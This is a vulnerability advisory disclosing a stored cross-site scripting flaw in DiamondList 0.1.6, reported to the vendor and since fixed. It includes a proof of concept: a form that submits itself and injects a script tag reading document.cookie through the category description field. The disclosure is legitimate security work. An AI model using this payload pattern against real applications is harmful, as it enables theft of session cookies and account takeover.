Vulnerability ID: HTB22518 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diamondlist_1.html Product: DiamondList Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist ) Vulnerable Version: 0.1.6 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "user/main/update_category" script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/user/main/update_category/CATEGORY_ID" method="post" name="main" > <input type="hidden" name="category[name]" value="some cat name" /> <input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Update" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version